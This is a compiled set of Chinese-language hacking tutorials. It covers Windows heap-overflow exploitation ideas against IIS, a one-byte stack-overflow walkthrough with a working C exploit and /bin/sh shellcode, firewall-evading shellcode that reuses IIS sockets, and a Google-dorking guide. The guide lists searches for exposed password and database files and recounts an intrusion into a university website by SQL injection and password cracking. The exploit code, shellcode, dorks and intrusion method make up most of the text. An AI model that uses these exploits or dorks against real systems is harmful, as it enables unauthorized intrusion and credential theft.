只需要改写一个函数指针内容，让其指向shellcode就可以了。
（2）、可以设置对一些可用于传递的shellcode域的读写断点，发现如果上面两条
指令执行完后有如:
lea ebx,[ebp+0xxx]
push ebx
call dword ptr [0xxxxxxxxx]
这样的代码，并且那ebx指向可传递shellcode的域，就能方便的利用，这样两个指针就
可以分别选取0xxxxxxxxx和一个具有jmp ebx功能的地址。注意可能会要考虑前面两条
指令或者那链表操作时候可能发生的异常。
（3）、利用p1、p2自身信息定位。
能够覆盖p1、p2,一般p1、p2前面会有一段空间能够控制，如果覆盖的长度可以控
制。可以考虑保留p2的高位，改写其低位让起指向shellcode。这个要注意这时
shllcode的前面4字节会被调用函数入口地址覆盖，所以不是所有会调用的函数入口都
可以用。
（4）、利用SEH指针。
其实那双向链表经常是a,b--->p1,p2--->a,b的形式，所以把SEH链首fs:0，位置一
般在ds:7ffxxxxx,同一系统比较固定覆盖，然后利用p2原来的值。这个有很多问题，跳
到p1后，p1不是可控制代码，还有系统的SEH处理程序会检测fs:0首指针，如果不是指
向堆栈位置，拒绝执行。主要是这个思路看能不能有别的办法。
这个又考虑了覆盖fs:0首指针的低字节，这样异常结构链表位置就发生了变化，如果指
向的另一块堆栈位置能够控制，就可以利用伪造异常链表的办法获得控制。其实单字节
的溢出覆盖ebp低字节的利用原理也是差不多。而堆栈里面，往往会有动态BUFF拷贝过
去的数据可以控制，所以这个要求也是容易办到。现在确定的是这个指针的位置不是固
定的，有一定的变化范围。可能是0x7ff93000 、0x7ff9b000这样的值，但变化不是多
大。
（5）、改写PEB指针，跳转到ret 0xxxxx这样的指令处，通过改变堆栈指针的办法，
利用堆栈里面的可控制数据得到控制。
三、实际应用例子。.asp的分块编码堆溢出，其实这个漏洞不应该叫分块编码漏
洞，因为漏洞原因不在于分块编码。
上面（2）、（3） 基本上都是可行的，但因为.asp的特殊之处，又使得上面的
（2）、（3）对于这个漏洞不好使用。
1、对于（2），由于.asp的那段溢出没安装好异常处理程序，所以在那链表结构的
处理过程中一般会发生异常，从而程序结束。如果精心构造覆盖p1、p2和用于链表处理
的标记、长度的数据，可以不会发生异常，但处理完后马上又被别的不容易控制的数据
覆盖，再次导致异常。
这个现在在win2000+sp2的wam.dll里面找到一处可以利用的代码，但只能是下次重新连
接才能得到控制。
2、对于（3），由于申请的0字节内存，加上内存管理的8字节对齐，可以得到8个字
节，再除去两条代码写内存浪费4字节，只剩下4字节，所以基本上不能用。利用另一个
方式，可以申请大量内存，但这时只能是覆盖0xc000字节（问题在这），因为内存管理
的8字节对齐，不可能只覆盖p2的低字节。
3、对于（4），已经写出利用程序。
4、对于（5），显然是可利用的，并且可能会写得比较通用。现在需要的是找一个通用
的指针位置，就是没有语言版本、sp包的问题，所有的都通用。否则就需要有版本参
数。
外面发布的代码。基本上都是利用覆盖一个异常处理句柄入口地址（有版本问题），再
加上猜测的shellcode地址，所以通用性大打折扣。其实一般堆溢出，利用上面的
（2）、（3）还是可以做得比较通用的。
WINDOWS系统的数据结构PEB总是映射到 0x7ffdf000，其偏移0x20就是一个函数指
针，所以就有版本无关的一个指针位置0x7ffdf020。覆盖这个指针shellcode得到控制
后需要恢复，因为很多调用要用到这个指针。这个调用的函数地址是ntdll.dll的
RtlEnterCriticalSection。


单字节缓冲区溢出
文章作者：warning3
通常的缓冲区溢出就是通过重写堆栈中储存的EIP的内容，来使程序跳转到我们的shellcode
处去执行。其实，即使缓冲区只溢出一个字节的时候,也有可能去执行我们的代码。这听起来
有些不可思议，其实还是很有可能的，下面我们就来看看这是如何实现的。
我们先写一个有弱点的程序，它只能被溢出一个字节。

ipdev:~/tests$ cat > suid.c
#include
func(char *sm)
{
char buffer[256];
 int i;
 for(i=0;i<=256;i++)//最多可以拷贝257个字节到一个256字节的缓冲区中
 buffer=sm;
}
main(int argc, char *argv[])
{
 if (argc < 2) {
 printf("missing args\n");
 exit(-1);
 }
func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$
我们可以看到，我们只能拷贝257个字节到一个256字节的缓冲区中，也就是说，我们
只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢？还是
先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:

ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl%ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e :movl $0x0,0xfffffefc(%ebp)
0x8048148 :cmpl $0x100,0xfffffefc(%ebp)
0x8048152 :jle0x8048158
0x8048154 :jmp0x804817c
0x8048156 :leal (%esi),%esi
0x8048158 :leal 0xffffff00(%ebp),%edx
0x804815e :movl %edx,%eax
0x8048160 :addl 0xfffffefc(%ebp),%eax
0x8048166 :movl 0x8(%ebp),%edx
0x8048169 :addl 0xfffffefc(%ebp),%edx
0x804816f :movb (%edx),%cl
0x8048171 :movb %cl,(%eax)
0x8048173 :incl 0xfffffefc(%ebp)
0x8048179 :jmp0x8048148
0x804817b :nop
0x804817c :movl %ebp,%esp
0x804817e :popl %ebp
0x804817f :ret
End of assembler dump.
(gdb)
当call指令被调用时，进程会首先将%eip（下一条要执行的指令的地址）压入堆栈。
然后将%ebp的内容压入堆栈，就象在*0x8048134处所看到的。接着进程将当前堆栈
的地址拷贝到%ebp中，接着为局部变量分配空间：%esp减小0x104字节（256+4）。
buffer[]占用了256字节(0x100),整形变量i占4个字节。在溢出发生以前，我们的
堆栈中的情况如下：
栈顶（低地址）

|---------|
|i|4字节
|---------|\
| buff[0] |\
|---------| |
| buff[1] | |
|---------| |--> 256字节
| ....... | |
|---------| |
|buff[255]|/
|---------|/
|保存的ebp|4字节
|---------|
|保存的eip|4字节
|---------|

 栈底（高地址）

这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针（func()开始执行前被压入堆栈），
如何利用这个字节来改变程序的执行呢？我们先来看看%ebp中内容的变化情况。当func()
将要结束时，%ebp被从堆栈中恢复。（见）让我们再看看接下来发生了什么：
（还是利用gdb来反汇编main())
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl%ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl$0x8058ad8
0x804818e :call 0x80481b8
0x8048193 :addl $0x4,%esp
0x8048196 :pushl$0xffffffff
0x8048198 :call 0x804d598
0x804819d :addl $0x4,%esp
0x80481a0 :movl 0xc(%ebp),%eax
0x80481a3 :addl $0x4,%eax
0x80481a6 :movl (%eax),%edx
0x80481a8 :pushl%edx
0x80481a9 :call 0x8048134
0x80481ae :addl $0x4,%esp
0x80481b1 :movl %ebp,%esp
0x80481b3 :popl %ebp
0x80481b4 :ret
0x80481b5 :nop
0x80481b6 :nop
0x80481b7 :nop
End of assembler dump.
(gdb)

当func()调用结束后，%ebp将会被拷贝到%esp中（见),这意味着我们可以
改变%esp到其他的值，但并不是任意的，因为我们只能修改%ebp的最后一个字节。
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl%ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl$0x8058ad8
0x804818e :call 0x80481b8
0x8048193 :addl $0x4,%esp
0x8048196 :pushl$0xffffffff
0x8048198 :call 0x804d598
0x804819d :addl $0x4,%esp
0x80481a0 :movl 0xc(%ebp),%eax
0x80481a3 :addl $0x4,%eax
0x80481a6 :movl (%eax),%edx
0x80481a8 :pushl%edx
0x80481a9 :call 0x8048134
0x80481ae :addl $0x4,%esp
0x80481b1 :movl %ebp,%esp
0x80481b3 :popl %ebp
0x80481b4 :ret
0x80481b5 :nop
0x80481b6 :nop
0x80481b7 :nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `perl -e 'print "A"x257'`
Starting program: /home/klog/tests/suid `overflow 257`
Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp0xbffffd45 0xbffffd45
(gdb)
在溢出发生后，%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41)
被拷贝到%esp中作为新的堆栈指针(见),
main()会再从堆栈中弹出保存的ebp到%ebp中，这时%esp的值会再增加4个字节(栈顶
向高地址方向缩短4个字节）。这时我们看到的%esp的值就是:
0xbffffd45=0xbffffd41+0x41
很明显，我们不能在func()中直接改变原来被保存的%eip的值，但可以修改main()中的
%esp的值.当进程从一个过程返回的时候，只是弹出堆栈栈顶的第一个字（4字节），将
它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以让进程
弹出一个我们设定的值，然后进程就会跳到那里去执行我们的程序代码。
我们可以构造一个buffer用来完成我们的工作：
[nops][shellcode][&shellcode][改变%ebp的字节]
这样当溢出发生时堆栈中的情况就是这样的：
栈顶（低地址）

|---------|
|i|4字节
|---------|\
| 0x90|\
|---------| |
| 0x90| |
|---------| |--> 256字节
| ....... | |
|---------| |
|shellcode| |
| ....... | |
|---------| |
|跳转地址 |/
|---------|/
|保存的ebp|4字节(最低的一个字节被覆盖）
|---------|
|保存的eip|4字节
|---------|

 栈底（高地址）
我们想让%esp指向跳转地址，以便当从main()中返回时这个跳转地址会被弹入到%eip
中，从而去执行我们的shellcode代码。
现在我们需要得到的是被覆盖的buffer的地址和跳转地址的值。我们不得不先写一个
程序来构造一下真实攻击时的场景。
ipdev:~/tests$ cat > fake_exp.c
#include
#include
main()
{
int i;
char buffer[1024];

bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl%ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e :movl $0x0,0xfffffefc(%ebp)
0x8048148 :cmpl $0x100,0xfffffefc(%ebp)
0x8048152 :jle0x8048158
0x8048154 :jmp0x804817c
0x8048156 :leal (%esi),%esi
0x8048158 :leal 0xffffff00(%ebp),%edx
0x804815e :movl %edx,%eax
0x8048160 :addl 0xfffffefc(%ebp),%eax
0x8048166 :movl 0x8(%ebp),%edx
0x8048169 :addl 0xfffffefc(%ebp),%edx
0x804816f :movb (%edx),%cl
0x8048171 :movb %cl,(%eax)
0x8048173 :incl 0xfffffefc(%ebp)
0x8048179 :jmp0x8048148
0x804817b :nop
0x804817c :movl %ebp,%esp
0x804817e :popl %ebp
0x804817f :ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.
Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp0xbffffc60 0xbffffc60
(gdb)
从上面的分析，我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
开始的，指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100（buffer大
小)-0x04(跳转地址大小）=0xbffffd60处。
有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
最后一个字节。这里要减去4个字节是因为当从main()中返回时，%esp会增加4个字节（
因为弹出了保存的%ebp)。
跳转地址的值并不需要是shellcode的起始地址，只要是NOP指令之间的某个地址即可。
（就象通常的溢出程序一样）即：0xbffffc64---(0xbffffd64-shellcode大小)。
我们这里选用0xbffffc74.
ipdev:~/tests$ cat > exp.c
#include
#include
char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
main()
{
int i, j;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer = sc_linux[j];
}
buffer[i++] = 0x74; //
 buffer[i++] = 0xfc; //跳转地址
buffer[i++] = 0xff; //
buffer[i++] = 0xbf; //
buffer[i++] = 0x5c; // 用来覆盖%ebp的字节
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$
成功了！现在让我们仔细的看一下到底发生了些什么。

ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
我们先来设置几个断点来观察被覆盖的栈帧指针的值。
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl%ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e :movl $0x0,0xfffffefc(%ebp)
0x8048148 :cmpl $0x100,0xfffffefc(%ebp)
0x8048152 :jle0x8048158
0x8048154 :jmp0x804817c
0x8048156 :leal (%esi),%esi
0x8048158 :leal 0xffffff00(%ebp),%edx
0x804815e :movl %edx,%eax
0x8048160 :addl 0xfffffefc(%ebp),%eax
0x8048166 :movl 0x8(%ebp),%edx
0x8048169 :addl 0xfffffefc(%ebp),%edx
0x804816f :movb (%edx),%cl
0x8048171 :movb %cl,(%eax)
0x8048173 :incl 0xfffffefc(%ebp)
0x8048179 :jmp0x8048148
0x804817b :nop
0x804817c :movl %ebp,%esp
0x804817e :popl %ebp
0x804817f :ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 :pushl%ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl$0x8058ad8
0x804818e :call 0x80481b8 <_IO_printf>
0x8048193 :addl $0x4,%esp
0x8048196 :pushl$0xffffffff
0x8048198 :call 0x804d598
0x804819d :addl $0x4,%esp
0x80481a0 :movl 0xc(%ebp),%eax
0x80481a3 :addl $0x4,%eax
0x80481a6 :movl (%eax),%edx
0x80481a8 :pushl%edx
0x80481a9 :call 0x8048134
0x80481ae :addl $0x4,%esp
0x80481b1 :movl %ebp,%esp
0x80481b3 :popl %ebp
0x80481b4 :ret
0x80481b5 :nop
0x80481b6 :nop
0x80481b7 :nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
现在让我们来运行程序：
(gdb) c
Continuing.
Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp0xbffffd64 0xbffffd64
这是%ebp的原来的内容

(gdb) c
Continuing.
Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp0xbffffd5c 0xbffffd5c
溢出后，我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)

(gdb) c
Continuing.
Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
此时%esp指向0xbffffd5c
Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp0xbffffd60 0xbffffd60
弹出保存的%ebp后，%esp增加了4个字节，指向我们存放跳转地址的位置

(gdb)
看一下此时堆栈中的情况：
(gdb) x 0xbffffd60
0xbffffd60 <__collate_table+3086619092>:0xbffffc74

这里确实存放着我们的跳转地址
(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>:0x90909090
0x909090900x90909090 0x90909090
0xbffffc84 <__collate_table+3086618872>:0x90909090
0x909090900x90909090 0x90909090
0xbffffc94 <__collate_table+3086618888>:0x90909090
0x90909090
(gdb)

跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。

(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$

下面的简图大致描述了%ebp与%esp的变化。

func()中，返回前 main()中main()中main()中
栈顶（低地址） addl $0x4,%espmovl %ebp,%esppopl %ebp

0xbffffc60|----------| |----------||----------||----------|
 |i | |i ||i ||i |
0xbffffc64|----------| |----------||----------||----------|
 | 0x90 | | 0x90 || 0x90 || 0x90 |
|----------| |----------||----------||----------|
 | 0x90 | | 0x90 || 0x90 || 0x90 |
 |----------| |----------||----------||----------|
----->| .......| | .......|| .......|| .......|
||----------| |----------||----------||----------|
||shellcode | |shellcode ||shellcode ||shellcode |
|| .......| | .......|%esp--->| .......|0xbffffd5c|......... |
0xbffffd60|----------| |----------||----------| %esp-->|----------|
|----- |0xbffffc74| |0xbffffc74||0xbffffc74||0xbffffc74| -->%eip
0xbffffd64|----------| |----------||----------||----------|
保存的ebp |0xbffffd5c| |0xbffffd5c||0xbffffd5c||0xbffffd5c|
%esp--->|----------| |----------||----------||----------|
 |保存的eip | |保存的eip ||保存的eip ||保存的eip |
 |----------|%esp-->|----------||----------||----------|

 %esp=0xbffffd68%esp=0xbffffd6c%esp=0xbffffd5c%esp=0xbffffd60
 %ebp=0xbffffd5c%ebp=0xbffffd5c%ebp=0xbffffd5c%ebp=0xxxxxxxxx

结束语:

这种方法看起来很不错，它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
是可行的，但也需要一些条件。首先，它需要知道buffer的地址，这要求我们要能构
造相同的攻击环境以便得到这些值，这通常是比较困难的，特别是在远程机器上。由
于只能溢出一个字节，我们的buffer必须紧挨着栈帧指针，也就是说，要溢出的buffer
必须是函数中第一个被宣称的变量。对于大endian结构的系统，%ebp在内存中的顺序是
高字节在前低字节在后，所以将会覆盖掉ebp的高字节，我们不得不保证我们的程序可以
跳到那个地址去执行...

尽管如此，这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
也可能导致严重的安全问题.:-)


现在很多web等应用使用了防火墙，我们自己也可能处于代理、透明网关等后面，这对于溢出等的通信造成了一个小小的麻烦。可能很多人会想到shellcode主动连接，这个如果防火墙做得好的话，不准许访问外部一样不行，即使不考虑这防火墙，而我们自己可能往往处于代理或者透明网关后面，考虑这也是一道难题。
但我们仔细考虑考虑一下数据传输问题，就会发现实际上这一切都没有想象的那么困难，其实早已经有东西为我们扫清了道路，那就是数据通道。所以很多问题怕的就是我们没有去想，没有去理解一些东西。只要我们访问到了server,其实对于现在这些应用，中间已经建立了类似下面一样的一个通道，其实中间可能还更复杂，但对于我们的应用，都会有这么一个通道。
client <------> proxy <------> firlwall <------>server
要运用这个通道,只要我们在server上找到了对于这个通道的读写调用就可以了。下面具体针对IIS说一说应用。IIS有两种接口，ISAPI和CGI，主要考虑这两种应用的情况下的办法。
1、ISAPI接口；IIS的server与ISAPI通信大致是这样：
ecb
server<------>isapi
typedef struct _EXTENSION_CONTROL_BLOCK
{DWORD cbSize; // Size of this struct.
DWORD dwVersion; // Version info of this spec
HCONN ConnID; // Context number not to be modified!
DWORD dwHttpStatusCode; // HTTP Status code
CHAR lpszLogData[HSE_LOG_BUFFER_LEN];// null terminated log info specific to this Extension DLL
LPSTR lpszMethod; // REQUEST_METHOD
LPSTR lpszQueryString; // QUERY_STRING
LPSTR lpszPathInfo; // PATH_INFO
LPSTR lpszPathTranslated; // PATH_TRANSLATED
DWORD cbTotalBytes; // Total bytes indicated from client
DWORD cbAvailable; // Available number of bytes
LPBYTE lpbData; // Pointer to cbAvailable bytes
LPSTR lpszContentType; // Content type of client data
BOOL (WINAPI * GetServerVariable);
BOOL (WINAPI * WriteClient);
BOOL (WINAPI * ReadClient);
BOOL (WINAPI * ServerSupportFunction);
}
可以看出isapi里面有个WriteClient和ReadClient支持对客户的读、写，其实这就是对于那个通道的读、写。只要我们在ISAPI溢出时，shellcode能找到这个ecb参数，就可以读写这个通道，实现对抗防火墙，与我们的client的溢出程序交互的功能了。这点可以考虑溢出时的寄存器以及堆栈里面的参数等看什么是ecb参数，实在不行还可以shellcode直接搜索内存结构找到我们自己的ecb，这两种办法在我的不同程序里面使用过，效果都不错。
    注意apache的ISPAI实现上没有实现ReadClient的功能，可能因为觉得处理一个请求的时候已经不在需要读客户端了，但你完全可以通过ecb找到socket，再直接调用send功能发送。再就是很多proxy（网关一定不会）实现上也是client------>proxy------>server------>proxy------>client,而不是client<------>proxy<------>server。所以对于这样的代理我们不要让其成为中间环节，因为这会破坏我们client与shellcode的良好的交互性。
    ２、ＣＧＩ接口；熟悉IIS的cgi接口一点的可能就会明白其数据是下面一种形式：
        pipe pipe
        server------>cgi------>server
    看IIS这点处理数据也同样不是完全交互的，所以我开始处理CGI的溢出的时候也是没办法使用的开port，再client连这port的办法实现。但对于上面那种良好的交互性、对付防火墙等功能，始终心存怀念，所以也一直考虑解决办法。
    这段时间突然想到，虽然这时cgi是在单独的空间里面，但会不会继承了server的socket，仍然还有读写那socket的可能呢？于是今天在cgi的shellcode里面不是直接输出或者开port等待连接后往里面写，而是填加了代码往所有socket里面写，可喜的是在client里面成功接收到来自shellcode的信息。这说明这个通道是通的，读应该也没问题。现在需要的就是shellcode里面怎么找到这个正确的socket。这点也需要技术去解决，不过应该没什么问题。
    对于apache等的cgi,相信也有同样的结果，愿望始终应该要美好点嘛。

    上面介绍了iis的两种应用的情况下使用通道对抗防火墙，但看那技术对于别的unix等系统的应用应该一样可以。毕竟这种思路是系统无关的，剩下的就只有技术细节了。是不是也想把你的unix下的shellcode加上对抗防火墙的功能了呢？其实我的溢出程序编写里面还有很多东西你可以考虑借鉴的呢，像溢出点定位呢、shellcode定位呢，原代码编写shellcode呢，shellcode编码呀等等。其实很想自己动手写一个满意的unix等系统的溢出攻击程序样本出来，但一个人不能什么都做呀,也还有很多别的事要做呢。


Google hack
前言
googlehacking其实并算不上什么新东西,在早几年我在一些国外站点上就看见过相关的介绍,但是由于当时并没有重视这种技术,认为最多就只是用来找找未改名的mdb或者别人留下的webshell什么的,并无太大实际用途.但是前段时间仔细啃了些资料才猛然发觉googlehacking其实并非如此简单...

googlehacking的简单实现

记得以前看见过一篇文章写的就是简单的通过用www.google.com来搜索dvbbs6.mdb或conn.inc来获得一些站点的敏感信息.其实使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.
intext:
这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页.allintext:使用方法和intext类似.

intitle:
和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网页.同理allintitle:也同intitle类似.

cache:
搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

define:
搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

filetype:
这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入:filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富:)

info:
查找指定站点的一些基本信息.

inurl:
搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接:http://www.xxx.com/xxx/admin,用来找管理员登陆的URL不错.allinurl也同inurl类似,可指定多个字符.

link:
例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL.

site:
这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL.

对了还有一些操作符也是很有用的:
+把google可能忽略的字列如查询范围
-把某个字忽略
~同意词
.单一的通配符
*通配符，可代表多个字母
""精确查询

下面开始说说实际应用(我个人还是比较习惯用google.com,以下内容均在google上搜索),对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会把一些敏感信息透露给他们.用google搜索以下内容:

intitle:"indexof"etc
intitle:"Indexof".sh_history
intitle:"Indexof".bash_history
intitle:"indexof"passwd
intitle:"indexof"people.lst
intitle:"indexof"pwd.db
intitle:"indexof"etc/shadow
intitle:"indexof"spwd
intitle:"indexof"master.passwd
intitle:"indexof"htpasswd
"#-FrontPage-"inurl:service.pwd

有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的.下面是我找到的一个FreeBSD系统的passwd文件(我已做过处理):

图一

同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,我们可以用google来找网上使用这套程序的站点:
intext:ZeroBoardfiletype:php

或者使用:
inurl:outlogin.php?_zb_path=site:.jp

来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库操作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行操作.我们可以用google搜索存在这样漏洞的程序URL:
intitle:phpmyadminintext:Createnewdatabase

图二

还记得http://www.xxx.com/_vti_bin/..%5C..%5C....m32/cmd.exe?dir吗?用google找找，你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
allinurl：winntsystem32
图三

前面我们已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下:

allinurl:bbsdata
filetype:mdbinurl:database
filetype:incconn
inurl:datafiletype:mdb
intitle:"indexof"data//在一些配置不正确的apache+win32的服务器上经常出现这种情况

和上面的原理一样,我们还可以用google来找后台,方法就略了,举一反三即可,毕竟我写这篇文章的目的是让大家了解googlehacking,而不是让你用google去破坏.安全是把双刃剑,关键在于你如何去运用.

利用google完全是可以对一个站点进行信息收集和渗透的，下面我们用google对特定站点进行一次测试。www.xxxx.com是全国著名大学之一，一次偶然的机会我决定对其站点进行一次测试(文中所涉及该学校的信息均已经过处理，请勿对号入座:).
首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
site:xxxx.com

从返回的信息中，找到几个该校的几个系院的域名：

http://a1.xxxx.com
http://a2.xxxx.com
http://a3.xxxx.com
http://a4.xxxx.com

顺便ping了一下，应该是在不同的服务器.(想想我们学校就那一台可怜的web服务器，大学就是有钱，汗一个)。学校一般都会有不少好的资料，先看看有什么好东西没:
site:xxxx.comfiletype:doc

得到N个不错的doc。先找找网站的管理后台地址：
site:xxxx.comintext:管理
site:xxxx.cominurl:login
site:xxxx.comintitle:管理

超过获得2个管理后台地址：
http://a2.xxxx.com/sys/admin_login.asp
http://a3.xxxx.com:88/_admin/login_in.asp

还算不错，看看服务器上跑的是什么程序：
site:a2.xxxx.comfiletype:asp
site:a2.xxxx.comfiletype:php
site:a2.xxxx.comfiletype:aspx
site:a3.xxxx.comfiletype:asp
site:.......
......

a2服务器用的应该是IIS，上面用的是asp的整站程序，还有一个php的论坛
a3服务器也是IIS，aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的：
site:a2.xxxx.comintext:ftp://*:*

没找到什么有价值的东西。再看看有没有上传一类的漏洞：
site:a2.xxxx.cominurl:file
site:a3.xxxx.cominurl:load

在a2上发现一个上传文件的页面：
http://a2.xxxx.com/sys/uploadfile.asp

用IE看了一下，没权限访问。试试注射，
site:a2.xxxx.comfiletype:asp

得到N个asp页面的地址，体力活就让软件做吧，这套程序明显没有对注射做什么防范，dbowner权限，虽然不高但已足矣，backashell我不太喜欢，而且看起来数据库的个头就不小，直接把web管理员的密码暴出来再说，MD5加密过。一般学校的站点的密码都比较有规律，通常都是域名+电话一类的变形，用google搞定吧。

site:xxxx.com//得到N个二级域名
site:xxxx.comintext:*@xxxx.com//得到N个邮件地址，还有邮箱的主人的名字什么的
site:xxxx.comintext:电话//N个电话

把什么的信息做个字典吧，挂上慢慢跑。过了一段时间就跑出4个帐号，2个是学生会的，1个管理员，还有一个可能是老师的帐号。登陆上去：
name：网站管理员
pass：a2xxxx7619//说了吧，就是域名+4个数字

要再怎么提权那就不属于本文讨论访问了，呵呵，到此为止。

关于googlehacking的防范

以前我们站的晓风·残月写过一篇躲避google的文章，原理就是通过在站点根目录下建立一个robots.txt以避免网络机器人获得一些敏感的信息，具体大家看原文章：
http://www.4ngel.net/article/26.htm

不过这种方法我个人不推荐，有点此地无银三百两的味道。简单一点的方法就是上google把自己站点的一些信息删除掉，访问这个URL：
http://www.google.com/remove.html

前几天看见又有人讨论用程序来欺骗robot的方法，我觉得可以试试，代码如下：

if(strstr($_SERVER['HTTP_USER_AGENT'],"Googlebot"))
{
    header("HTTP/1.1301");
    header("Location:http://www.google.com");
}
?>

后记

这段时间在国外的一些googlehack的研究站点看了看，其实也都差不多是一些基本语法的灵活运用，或者配合某个脚本漏洞，主要还是靠个人的灵活思维。国外对于googlehack方面的防范也并不是很多，所以大家还是点到为止，不要去搞破坏拉，呵呵。对于一些在win上跑
apache的网管们应该多注意一下这方面，一个intitle:indexof就差不多都出来了：）

This file is decompiled by an unregistered version of ChmDecompiler.
Regsitered version does not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


信息安全的隐患 GoogleHacking原理和防范
文章来源：phack
文章作者：ZhaoHuan
